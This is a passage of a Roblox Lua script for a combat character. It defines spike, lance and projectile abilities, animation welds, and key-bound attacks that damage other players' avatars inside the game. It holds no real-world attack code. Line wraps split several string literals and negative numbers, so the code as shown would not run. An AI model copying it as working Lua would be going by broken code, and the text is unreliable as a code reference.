local colzz="New Yeller" if mulz < 0 then colzz="White" end
cw(function() Sound(Sounds.Smash,0.255,1)
local stem=pa(m,"oo","Block",2.5*sc,5*sc,2.5*sc,true,false,0,0,"Earth green")
stem.Anchored=true it("CylinderMesh",stem)
stem.CFrame=spawnpos *cf(0,-10*sc,0)
local bal=pa(m,"oo","Ball",3.5*sc,3.5*sc,3.5*sc,true,false,0,0,"Earth green")
bal.Anchored=true
local pcf=cf(0,((5/2)+(3.5/3))*sc,0) bal.CFrame=stem.CFrame *pcf
for i=-11,0,0.5 do w()
stem.CFrame=stem.CFrame *cf(0,0.5*sc,0) bal.CFrame=stem.CFrame *pcf
end
local spis={} local Visib=true if mulz > 0 then
SplashDmg(false,bal.Position,12,6*sc,70) end
for i=1,rn(35,45) do
local spi=pa(m,"oo","Block",0.3*sc,3*sc,0.3*sc,true,false,0,0,colzz)
spi.Anchored=true local spim= it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike
spi.CFrame=bal.CFrame *ca(rn(-360,360),rn(-360,360),rn(-360,360))
spim.Scale=v3(0.5*sc,5*sc,0.5*sc)
ti(spis,spi) cw(function() for i=1,12 do spi.CFrame=spi.CFrame
*cf(0,0.25*sc,0) w() end end)
end spis[#spis].Mesh:Remove''
it("CylinderMesh",spis[#spis]).Scale=v3(4,1.3,4) spis[#spis].BrickColor=bc("Earth
green")
cw(function()
repeat w(2) local torses= {}
for i,v in pairs(Serv.kirby8852:children()) do if not hittedlol and
(v.Character ~= c or mulz < 0) and v.Character ~= nil and
v.Character:findFirstChild("Torso") and (v.Character.Torso.Position -
bal.Position).magnitude < tmag then
ti(torses,v.Character.Torso) end end
if #torses > 0 then local
lolcf=cf(bal.Position,torses[rn(1,#torses)].Position+v3(rn(-110,110)/100,rn(-
110,150)/100,rn(-110,110)/100)) *cf(0,0,-6*sc)
spis[#spis].CFrame=lolcf*cf(0,0,3.5*sc) *ca(rd(90),0,0)
ShootSpike(15,c,colzz,mulz,sc*2,lolcf,false,3,nil) end
until not Visib end)
w(dur) Visib=false for x=1,#spis do local spi=spis[x] if rn(1,3)==3 then
ShootSpike(15,c,colzz,mulz,sc*2,cf(spi.Position,(spi.CFrame *cf(0,0,-
1)).p)*cf(0,0,-8),false,3,nil) end spis[x]:Remove'' end
for i=-11,0,0.5 do w()
stem.CFrame=stem.CFrame *cf(0,-0.5*sc,0)
bal.CFrame=stem.CFrame *pcf
end bal:Remove'' stem:Remove''
end)
end
function CreateLance() a.s.Lancet="Black" local colx={"Dark stone
grey","Really black","Dark stone grey"} local ref=0.15
local han=pa(Misc["v"],"han","Block",0.75,1.75,0.75,false,false,0,0,colx[3])
it("CylinderMesh",han) local hanw=weld(han,ra,han,0,-2.25,0,rd(90),0,0)
hanw.C1=cf(0,0.8,0)
Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han.Mesh.Scale=v3(1,1.5*i,1)
w() end
local han2=pa(Misc["v"],"han2","Block",1,1,1,false,false,0,ref,colx[1])
it("CylinderMesh",han2) local han2w=weld(han2,han,han2,0,-1.25,0,0,0,0)
Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han2.Mesh.Scale=v3(3*i,1*i,3*i)
w() end
cw(function() for xi=0,360,360/8 do local
han3=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local
han3w=weld(han3,han2,han3,0,0,0,rd(90),0,rd(xi)) han3w.C0=han3w.C0 *ca(rd(-18),0,0)
local han3m=it("SpecialMesh",han3) han3m.MeshType="FileMesh" han3m.MeshId=asset ..
Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do
han3w.C1=cf(0,-2*i,-0.4) han3.Mesh.Scale=v3(0.25*i,2*i,0.25*i)w() end end) w() end
end)
cw(function() for xi=0,360,120 do local
han3=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local
han3w=weld(han3,han2,han3,0,0,0,rd(90),0,rd(xi)) han3w.C0=han3w.C0 *ca(rd(-80),0,0)
local han3m=it("SpecialMesh",han3) han3m.MeshType="FileMesh" han3m.MeshId=asset ..
Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do
han3w.C1=cf(0,-1*i,-1*i) han3.Mesh.Scale=v3(0.2*i,1.5*i,0.2*i)w() end end) w() end
end)
w(0.3) local
han3=pa(Misc["v"],"spike","Block",0,0,0,false,false,0,ref,colx[1]) local
han3w=weld(han3,han2,han3,0,0,0,rd(180),0,0) local han3m=it("SpecialMesh",han3)
han3m.MeshType="FileMesh" han3m.MeshId=asset .. Decs.Spike
Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han3w.C1=cf(0,-5.2*i,0)
han3.Mesh.Scale=v3(1.5*i,5+(7.5*i),1.5*i) w() end end)
cw(function() w(0.05) for xi=0,360,360/5 do local
han4=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local
han4w=weld(han4,han2,han4,0,0,0,rd(90),0,rd(xi)) han4w.C0=han4w.C0 *ca(rd(-25),0,0)
local han4m=it("SpecialMesh",han4) han4m.MeshType="FileMesh" han4m.MeshId=asset ..
Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do
han4w.C1=cf(0,1+(-0.6*i),-4) han4.Mesh.Scale=v3(0.25*i,2*i,0.25*i) w() end end) w()
end end)
local han4=pa(Misc["v"],"spiketip","Block",0,0,0,false,false,0,ref,colx[1])
local han4w=weld(han4,han3,han4,0,0,0,0,0,0) local han4m=it("SpecialMesh",han4)
han4m.MeshType="FileMesh" han4m.MeshId=asset .. Decs.Spike
Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han4w.C1=cf(0,-4*i,0)
han4.Mesh.Scale=v3(0.6*i,3*i,0.6*i) w() end
cw(function() w(0.2) for xi=0,360,120 do local
han8=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local
han8w=weld(han8,han4,han8,0,1,0,rd(90),0,rd(xi)) han8w.C0=han8w.C0 *ca(rd(-60),0,0)
local han8m=it("SpecialMesh",han8) han8m.MeshType="FileMesh" han8m.MeshId=asset ..
Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do
han8w.C1=cf(0,1+(-0.6*i),-0.7) han8.Mesh.Scale=v3(0.12*i,0.75*i,0.12*i) w() end
end) w() end end)
w(0.25) Sound(Sounds.Slash,0.35,1) cw(function() c1(hanw,0.1,1,0,0.8,0,0,0,-
65) c1(hanw,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-
30,0,18) end) cw(function() c1(raw,0.05,3,1,0.5,0,0,0,-90)
c1(raw,0.05,3,0.7,0.8,0,45,0,-150) end)
local han5=pa(Misc["v"],"shield","Block",0,0,0,false,false,0,0.2,colx[3])
it("BlockMesh",han5) local han5w=weld(han5,la,han5,-0.6,-
(2.5/2),0,rd(55),rd(0),rd(90)) Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do
han5.Mesh.Scale=v3(3*i,0.25*i,2.5*i)*5 w() end
end
function ShootLanceBullet(spawnpos,sc,dmge) cw(function()
Sound(Sounds.Fire1,0.5,1) local roflz=false for xx=1,3 do cw(function()
local proj=pa(m,"Bullet","Block",0.8*sc,1.1*sc,0.8*sc,true,false,0,0,"Black")
it("CylinderMesh",proj) proj.Anchored=true
if xx == 1 then proj.CFrame=cf(spawnpos.Position,mou.hit.p)
*cf(0,0.45,0.5)*ca(rd(90),0,0)
elseif xx == 2 then proj.CFrame=cf(spawnpos.Position,mou.hit.p) *cf(-0.5,-
0.45,0.5)*ca(rd(90),0,0)
elseif xx == 3 then proj.CFrame=cf(spawnpos.Position,mou.hit.p) *cf(0.5,-
0.45,0.5)*ca(rd(90),0,0)
end local tyms=0 local bhit,bpos=nil,nil
repeat tyms=tyms + 1
bhit,bpos=ray(proj.Position,proj.Position - (proj.CFrame *cf(0,1,0)).p)
if bhit and (proj.Position - bpos).magnitude < 6 then roflz=true break else
proj.CFrame=proj.CFrame*cf(0,-6,0)*ca(rd(-0.09),0,0) end
w() until tyms > 80 or roflz local z08 = 60
if xx == 1 then Sound(Sounds.Break,2.6,1.4)
Explode(proj.CFrame*ca(rd(180),0,0),12,raigcol2,dmge) local smokshiz
=pa(m,"","Block",0,0,0,false,false,1,0,"Black")
smokshiz.CFrame = proj.CFrame it("Smoke",smokshiz) smokshiz.Smoke.Size =
30*sc smokshiz.Smoke.Opacity = 0.4 smokshiz.Smoke.Color = bc("Black").Color
game:service'Debris':AddItem(smokshiz,8) end
GlowMesh(false,"Sphere",proj,v3(20,20,20),RandomExplosionColor(),cf(rn(-
z08*sc,z08*sc)/10,rn(-z08*sc,z08*sc)/10,rn(-z08,z08*sc)/10)) w(3) fade(proj,0.1)
end) end end) end
function ShootProjectile(clonz,faic,adjs,dmge,sped,maxm) cw(function()
local rt=pa(m,"","Block",0,0,0,false,false,1,0,"") rt.Anchored=true
rt.CFrame = faic local rtc = clonz:Clone'' rtc.Parent = m rtc.Anchored = true
local tyms=0 local bhit,bpos=nil,nil
repeat tyms=tyms + 1
bhit,bpos=ray(rt.Position,rt.Position - (rt.CFrame *cf(0,0,2)).p)
if bhit and (rt.Position - bpos).magnitude < sped+1 then break else
rt.CFrame=rt.CFrame*cf(0,0,-sped) end rtc.CFrame = rt.CFrame*adjs
w() until tyms > maxm
if bhit then
rtc.Velocity=v3(0,0,0) local xx,yy,zz=rtc.CFrame:toEulerAnglesXYZ()
rtc.CFrame=cf(bpos) *ca(xx,yy,zz) *cf(0,-rtc.Size.y/9,0)
if bhit.Anchored then Sound(Sounds.Punch,1,1,rtc) rtc.Anchored=true else
local cfz=rtc.CFrame
rtc.Size=v3(0,0,0) rtc.CFrame=cfz rtc.Anchored=false
if findhum(bhit.Parent) then stick(rtc,bhit) rtc.CanCollide=false
local aihu=findhum(bhit.Parent) Sound(Sounds.Smash,1.35,1,rtc)
Dmgz(false,aihu,dmge,bhit)
elseif findhum(bhit.Parent.Parent) then stick(rtc,bhit) rtc.CanCollide=false
local aihu=findhum(bhit.Parent.Parent) Sound(Sounds.Smash,1.35,1,rtc)
Dmgz(false,aihu,dmge,bhit)
elseif bhit:GetMass() < 500 and findhum(bhit.Parent)==nil and
findhum(bhit.Parent.Parent)==nil then
stick(rtc,bhit) Sound(Sounds.Punch,1,1,rtc) if findclass(bhit,"Weld") < 1 and
findhum(bhit.Parent.Parent)==nil then bhit.Velocity=rt.CFrame.lookVector*60 end
end
end
else
rtc.Parent=nil
end
rt:Remove'' w(8) rtc:Remove''
end) end
function ShootSpike(poi,theray,colz,mulzx,sc,adjus,istrai,typ,loltors) if
mulzx==nil then mulzx=1 end
cw(function() Sound(Sounds.Slash,1.1,1) local mind,maxd,mind2,maxd2=6,12,3,5
local spi=pa(c,"","Block",0.6*sc,2*sc,0.6*sc,false,false,0,0,colz) local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(0.12*sc,3*sc,0.12*sc) spi.Anchored=true if typ==1 then
spi.CFrame=cf((loltors.CFrame).p,mou.Hit.p) *adjus
elseif typ==3 then spi.CFrame=adjus
elseif typ==2 then if adjus=="random" then
spi.CFrame=cf(to.Position,RandomPlayer(spi).Position) else
spi.CFrame=loltors.CFrame *adjus end end spi.CFrame=spi.CFrame *ca(rd(-90),0,0)
if istrai then cw(function() Trail2(4,spi,0.2,colz,0.4*sc,cf(0,-2*sc,0)) end)
end
local bullethit=false
local tyms=0 if rn(1,20)==rn(1,20) and mulzx > 0 then it("Fire",spi).Heat=-25
end if rn(1,poi)==1 and mulzx > 0 then spi.BrickColor=bc("Navy blue") end
local minusz=-0.0001 if mulzx < 0 then local fiar=it("Fire",spi) fiar.Heat=-
25 fiar.Size=1*sc fiar.Color=bc("Bright red").Color fiar.SecondaryColor=bc("Really
red").Color end
local spid=0.25 if typ==2 then spid=0.01 end
local divzz=110 if typ==2 then divzz=50 elseif typ==3 then divzz=1500 end
local tehpos=v3(0,0,0)
repeat
tyms=tyms + 2 minusz=(-90/50/divzz)*tyms
local bhit,bpos=ray(spi.Position,spi.Position - (spi.CFrame *cf(0,-
1,0)).p,theray) tehpos=bpos
if bpos ~= nil and (bpos - (spi.CFrame *cf(0,1,0)).p).magnitude < 24 then
bullethit=bhit else spi.CFrame=spi.CFrame *cf(0,8,0) *ca(rd(minusz),0,0) end
w() until bullethit or spi.Position.y < -300 or tyms > 5000 rtab(sTrail,spi)
game:service'Debris':AddItem(spi,4)
if bullethit then
if a.a=="Spikes" then if a.b=="Hoverboard" then if achspi then
bullethit.Anchored=false end if brkspi then bullethit:BreakJoints() end end end
spi.Velocity=v3(0,0,0) local xx,yy,zz=spi.CFrame:toEulerAnglesXYZ()
spi.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,-spi.Size.y/9,0)
if bullethit.Anchored then Sound(Sounds.Punch,1,1,spi) spi.Anchored=true else
local cfz=spi.CFrame *cf(0,-0*sc,0)
spi.Size=v3(0,0,0) spi.CFrame=cfz spi.Anchored=false
if findhum(bullethit.Parent) then stick(spi,bullethit) spi.CanCollide=false
local mul=1 if spi:findFirstChild("Fire") then mul=2.5 end
local aihu=findhum(bullethit.Parent) Sound(Sounds.Smash,1.35,1,spi) if
mulzx==-1 then aihu.Health=aihu.Health + maxd else
Dmgz(false,aihu,rn(mind*mul,maxd*mul),bullethit) if spi.BrickColor.Name=="Navy
blue" then for i=1,10 do Dmgz(false,aihu,rn(mind2*mul,maxd2*mul),bullethit) w(0.9)
end end end
elseif findhum(bullethit.Parent.Parent) then stick(spi,bullethit)
spi.CanCollide=false local mul=1 if spi:findFirstChild("Fire") then mul=2.5 end
local aihu=findhum(bullethit.Parent.Parent) Sound(Sounds.Smash,1.35,1,spi) if
mulzx==-1 then aihu.Health=aihu.Health + maxd else
Dmgz(false,aihu,rn(mind*mul,maxd*mul),bullethit) if spi.BrickColor.Name=="Navy
blue" then for i=1,10 do Dmgz(false,aihu,rn(mind2*mul,maxd2*mul),bullethit) w(0.9)
end end end
elseif bullethit:GetMass() < 500 and findhum(bullethit.Parent)==nil and
bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then
stick(spi,bullethit) Sound(Sounds.Punch,1,1,spi) if
findclass(bullethit,"Weld") < 1 and
bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then
bullethit.Velocity=(spi.CFrame*ca(rd(90),0,0)).lookVector*60 end
end
end
else
spi.Parent=nil
end
end)
end
function NormalPose(inc) cw(function() c1(tw,inc,3,0,0,0,0,0,0) end)
cw(function() c1(llw,inc,3,-0.5,-1,0,0,0,0) end)
cw(function() c1(rlw,inc,3,0.5,-1,0,0,0,0) end) cw(function() c1(law,inc,3,-
1.5,1,0,0,0,0) end) c1(raw,inc,3,1.5,1,0,0,0,0) end
a.Act=function(k,ccz)
if ccz then
if k=="x" then a.c=false
a.a="Spikes"
for i=1,18 do
local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
local spiw=weld(spi,t,spi,rn(-8,8)/10,rn(-8,8)/10,0,rd(rn(60,120)),0,rd(rn(-
30,30)))
cw(function() for i=0,1,0.1 do if rn(1,21)==1 then
Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.17,0)
spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end)
end
for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New
Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike
local spiw=weld(spi,la,spi,0.2,-i/1.1+(0.7),-0.25,rd(-45),0,rd(120))
cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0)
spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New
Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike local spiw=weld(spi,ra,spi,-0.2,-i/1.1+(0.7),-
0.25,rd(-45),0,rd(-120))
cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0)
spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New
Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike
local spiw=weld(spi,ll,spi,0.2,-i/1.1+(0.2),-0.3,0,rd(50),rd(70))
cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0)
spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New
Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike local spiw=weld(spi,rl,spi,-0.2,-i/1.1+(0.2),-
0.3,0,rd(-50),rd(-70))
cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0)
spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
elseif k=="c" and a.a=="None" and a.c and a.b=="None" then a.c=false
a.a="Champion"
Armz(false) hu.WalkSpeed=ns*1.2
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.3,1,-
0.2,30,0,-18)
cw(function() Sound(Sounds.Abscond,0.9,1) local
spi=pa(m,"","Block",0,0,0,false,false,0.2,0,raigcol2) spi.Anchored=true local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown
spim.Scale=v3(4,5,4) spi.CFrame=t.CFrame *cf(0,-2,0) for i=1,30 do
spim.Scale=v3(4+(i/3),5-(i/12),4+(i/3)) spi.Transparency=0.2+
((0.8/30)*i)spi.CFrame=spi.CFrame *ca(0,rd(25),0) w() end spi:Remove''
end)
a.c=true Legb2=true Legz(false) Legb=true
elseif k=="v" and a.a=="None" and a.c and a.b=="None" then a.c=false
Armz(false) hu.WalkSpeed=ns*0.75 Misc[k]=it("Model",m)
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.5,1,-
0.2,-40,0,12)
CreateLance() a.c=true Legb2=true Legz(false) Legb=true a.a="Lance"
a.s.Lance(true) cw(function() repeat if a.b=="None" and mp > 10 then mp=mp-
0.05 end w() until a.a~="Lance" end)
end
else
if k=="x" and a.a=="Spikes" and a.b=="None" and a.c then a.c=false a.a="None"
for zi,v in pairs(Misc[k]:children()) do
cw(function()
for i=1,0,-0.1 do if rn(1,35)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1)
end
v.Weld.C0=v.Weld.C0 *cf(0,-0.17,0) v.Mesh.Scale=v3(0.1,i*4,0.1)
w()
end v:Remove'' a.c=true end)
end
elseif k=="c" and a.a=="Champion" and a.b=="None" and a.c then a.c=false
a.a="None"
Legz(false) Armz(false) hu.WalkSpeed=ns NormalPose(0.1) Legz(true) Armz(true)
a.c=true
elseif k=="v" and a.a=="Lance" and a.b=="None" and a.c then a.c=false
a.a="None"
Legz(false) Armz(false) local rr=false a.s.Lance(false) local k="v"
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function()
c1(raw,0.03,3,1.5,0.5,-0.2,-100,-30,0) end)
cw(function() for i,v in pairs(Misc[k]:children()) do if v.Name=="spiek" then
cw(function() local maxc=v.Mesh.Scale maxcc=v.Weld.C1.y for i=1,0,-0.1 do
v.Weld.C1=v.Weld.C1 * cf(0,maxcc*0.1,0) v.Mesh.Scale=v3(maxc.x*i,maxc.y*i,maxc.z*i)
w() end v:Remove'' end) end end end)
cw(function() local smc=Misc[k].shield.Mesh.Scale for xi=1,0,-0.1 do
Misc[k].shield.Mesh.Scale=smc*xi w() end Misc[k].shield:Remove'' end)
cw(function() Sound(Sounds.Unsheath,1.4,1) local
smc=Misc[k].spiketip.Mesh.Scale for xi=1,0,-0.2 do
Misc[k].spiketip.Mesh.Scale=smc*xi Misc[k].spiketip.Weld.C1=cf(0,-4*xi,0) w() end
Misc[k].spiketip:Remove''
Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].spike.Mesh.Scale for xi=1,0,-0.1 do
Misc[k].spike.Mesh.Scale=smc*xi Misc[k].spike.Weld.C1=cf(0,-5.2*xi,0) w() end
Misc[k].spike:Remove''
Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].han2.Mesh.Scale for xi=1,0,-0.1 do
Misc[k].han2.Mesh.Scale=smc*xi Misc[k].han2.Weld.C0=cf(0,-1.5*xi,0) w() end
Misc[k].han2:Remove''
Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].han.Mesh.Scale for xi=1,0,-0.1 do
Misc[k].han.Mesh.Scale=smc*xi w() end Misc[k].han:Remove'' rr=true end)
local hanw=Misc[k].han.Weld Sound(Sounds.Slash,0.35,1) for i=1,0,-0.05 do
hanw.C1=cf(0,0.3+(0.5*i),0) *ca(rd(180*i),0,rd(45*i)) w() end
repeat w() until rr Misc[k]:Remove''
hu.WalkSpeed=ns NormalPose(0.1) Legz(true) Armz(true) a.c=true
elseif mp >= 50 and k=="e" and a.a=="Spikes" and a.b=="None" then
a.b="SideSlash" a.c=false mp=mp - 50
Armz(false)
cw(function() c1(law,0.16,3,-1.2,1,-0.2,40,0,40) end)
cw(function() c1(tw,0.1,0,0,0,0,0,-40,0) end)
c1(raw,0.16,3,1.2,1,0.2,50,0,50) Sound(Sounds.Unsheath,1.2,1)
local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"Dark green") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(0.2,6,0.2)
local spiw=weld(spi,ra,spi,0,-2,2,rd(90),0,0)
c1(raw,0.16,3,1.5,1,0,0,0,-40) Sound(Sounds.Slash,0.9,1)
rayHit(1.2,1,ra,ca(rd(-90),0,0),3.2,15,35)
cw(function() Trail(spi,8,0.04,"New Yeller",0.6,cf(0,3,0)) end)
cw(function() c1(tw,0.08,0,0,0,0,0,45,0) end)
cw(function() c1(spiw,0.1,0,0,-3.6,-1,210,0,0) end)
c1(raw,0.08,3,1.3,0.6,-0.5,-160,0,-80)
cw(function() c1(tw,0.08,0,0,0,0,0,0,0) c1(law,0.16,3,-1.5,1,0,0,0,0) end)
c1(raw,0.08,3,1.2,1,0.2,50,0,50) spi:Remove'' c1(raw,0.16,3,1.5,1,0,0,0,0)
Armz(true)
a.b="None" a.c=true
elseif k=="c" and a.a=="Spikes" and a.b=="None" and a.c then a.c=false
a.c=true a.b="Sit" hu.WalkSpeed=0
Legz(false) Armz(false)
cw(function() c1(llw,0.1,3,-0.5,-1,-0.3,-80,-20,0) end)
cw(function() c1(rlw,0.1,3,0.5,-1,-0.3,-80,20,0) end)
cw(function() c1(law,0.1,3,-1.3,1,0,15,0,15) end)
cw(function() c1(raw,0.1,3,1.3,1,0,15,0,-15) end)
c1(tw,0.1,3,0,-1.5,0.35,-15,0,0)
elseif k=="c" and a.a=="Spikes" and a.b=="Sit" and a.c then a.c=false
hu.WalkSpeed=ns NormalPose(0.08) Legz(true) Armz(true) a.c=true a.b="None"
elseif mp >= 6 and k=="f" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeShoot" a.c=false
Armz(false)
cw(function() c1(law,0.1,3,-1.1,0.55,0,-85,20,0) end)
c1(raw,0.1,3,1.1,0.55,0,-85,-20,0)
cw(function() Trail2(9999,la,0.1,la.BrickColor.Name,0.4,cf(0,-5,0))
Trail2(9999,ra,0.1,ra.BrickColor.Name,0.4,cf(0,-5,0)) repeat w(0.04) if rn(1,3)==2
then Sound(Sounds.Slash,1.2,1) end c1(law,1,3,-1.1,0.55,0,-85+rn(-55,55),20+rn(-
15,15),0) c1(raw,1,3,1.1,0.55,0,-85+rn(-55,55),-20+rn(-15,15),0) until mp < 6 or
ky=="f" rtab(sTrail,la) rtab(sTrail,ra) end)
repeat mp=mp - 6 ShootSpike(15,nil,"New
Yeller",50,rn(8,24)/10,ca(0,0,0),true,1,t) w(0.3) until mp < 6 or ky=="f"
cw(function() c1(law,0.1,3,-1.5,1,0,0,0,0) end) c1(raw,0.1,3,1.5,1,0,0,0,0)
Armz(true) a.b="None" a.c=true
elseif mp >= 30 and k=="q" and a.a=="Spikes" and a.b=="None" then a.b="Flip"
a.c=false
Legz(false) Armz(false) mp=mp - 30
cw(function() c1(llw,0.1,3,-0.5,-0.4,-0.3,55,0,8) end)
cw(function() c1(rlw,0.1,3,0.5,-0.7,-0.3,55,0,-8) end)
cw(function() c1(law,0.1,3,-1.3,1,-0.2,60,0,15) end)
cw(function() c1(raw,0.1,3,1.3,1,-0.2,60,0,-15) end) c1(tw,0.1,3,0,-0.8,0,-
30,0,0) hu.WalkSpeed=ns*1.75
cw(function() c1(tw,0.036,3,0,0,0,360,0,0) cleanweld(tw,"a1") end)
local bf=it("BodyForce",t) bf.force=v3(0,10000,0)
game:service'Debris':AddItem(bf,0.165) Sound(Sounds.Slash,1.2,1)
w(0.1) if Button and mp >= 70 then mp=mp - 70 cw(function() c1(law,0.2,3,-
1.3,1,-0.2,-170,0,-15) end)
cw(function() c1(raw,0.2,3,1.3,1,-0.2,-170,0,15) end) for zx=1,6 do
ShootSpike(15,nil,"Navy blue",1,2,to.CFrame*ca(rd(-80),0,0),true,3,t) w(0.06) end
else w(0.08*6) end hu.WalkSpeed= ns
cw(function() c1(llw,0.2,3,-0.5,-1,0,0,0,0) end)
cw(function() c1(rlw,0.2,3,0.5,-1,0,0,0,0) end)
cw(function() c1(law,0.2,3,-1.5,1,0,0,0,0) end) c1(raw,0.2,3,1.5,1,0,0,0,0)
Legz(true) Armz(true) a.b="None" a.c=true
elseif mp < maxmp and k=="z" and a.a=="Spikes" and a.b=="None" then
a.b="Charge" a.c=false
hu.WalkSpeed=0 Armz(false)
local mz=it("Model",m)
for xi=1,360,360/8 do
local spi=pa(mz,"","Block",1,6,1,true,false,0,0,"New Yeller")
spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(1,6,1) spi.CFrame=t.CFrame *ca(0,rd(xi),0) *cf(0,0,10) *cf(0,-
7,0) *ca(rd(rn(-5,5)),0,rd(rn(-5,5)))
cw(function() for x=1,12,1 do spi.CFrame=spi.CFrame *cf(0,0.5,0) w() end end)
cw(function() repeat w() until ky=="z" or mp >= maxmp for x=1,12,1 do
spi.CFrame=spi.CFrame *cf(0,-0.5,0) w() end mz:Remove'' end)
end
for xi=-1,1,2 do
local spi=pa(mz,"","Block",1,10,1,true,false,0,0,"New Yeller")
spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(1.2,10,1.2) spi.CFrame=t.CFrame *cf(xi*2.2,0,-2) *cf(0,-11,0)
cw(function() for x=1,20,1 do spi.CFrame=spi.CFrame *cf(0,0.5,0) w() end end)
cw(function() repeat w() until ky=="z" or mp >= maxmp for x=1,20,1 do
spi.CFrame=spi.CFrame *cf(0,-0.25,0) w() end mz:Remove'' end)
end
local spi=pa(mz,"","Block",0,0,0,false,false,1,0,raigcol) spi.Anchored=true
local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset ..
Decs.Crown
spim.Scale=v3(8,3,8) spi.CFrame=t.CFrame *cf(0,-2,0) local
spi2=pa(mz,"","Block",0,0,0,false,false,1,0,raigcol) spi2.Anchored=true local
spi2m=it("SpecialMesh",spi2) spi2m.MeshType="FileMesh" spi2m.MeshId=asset ..
Decs.Crown
spi2m.Scale=v3(16,6,16) spi.CFrame=t.CFrame *cf(0,-2,0)
spi2.CFrame=spi.CFrame Sound(Sounds.Cast,0.7,1)
cw(function() cw(function() for i=1,0.5,-0.05 do spi.Transparency=i
spi2.Transparency=i w() end end) repeat w() spi.CFrame=spi.CFrame *ca(0,rd(11),0)
spi2.CFrame=spi2.CFrame *ca(0,rd(-12),0) until ky=="z" or mp >= maxmp
Sound(Sounds.ElectricalCharge,0.8,4) for i=0.5,1,0.05 do spi.CFrame=spi.CFrame
*ca(0,rd(11),0) spi2.CFrame=spi2.CFrame *ca(0,rd(-12),0) spi.Transparency=i
spi2.Transparency=i w() end spi2:Remove'' spi:Remove'' end)
cw(function() c1(law,0.06,3,-1.2,0.55,-0.1,-90,-25,0) end)
c1(raw,0.06,3,1.2,0.55,-0.1,-90,25,0)
local tyms=0 repeat tyms=tyms + 1 w() if tyms%15==0 then
Sound(Sounds.Cast,1,0.5) end addmp(3.5) until ky=="z" or mp >= maxmp
cw(function() c1(raw,0.1,3,1.5,1,0,0,0,0) end) c1(law,0.1,3,-1.5,1,0,0,0,0)
Armz(true) a.c=true a.b="None" hu.WalkSpeed=ns
elseif mp >= 150 and k=="t" and a.a=="Spikes" and a.b=="None" then
a.b="SpinSlash" a.c=false
Armz(false) mp=mp - 150 hu.WalkSpeed=ns*1.5
cw(function() c1(law,0.08,3,-1.2,1,0.2,40,0,-30) end)
c1(raw,0.08,3,1.2,1,0.2,40,0,30) Sound(Sounds.Unsheath,1.2,1)
local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"New Yeller") local
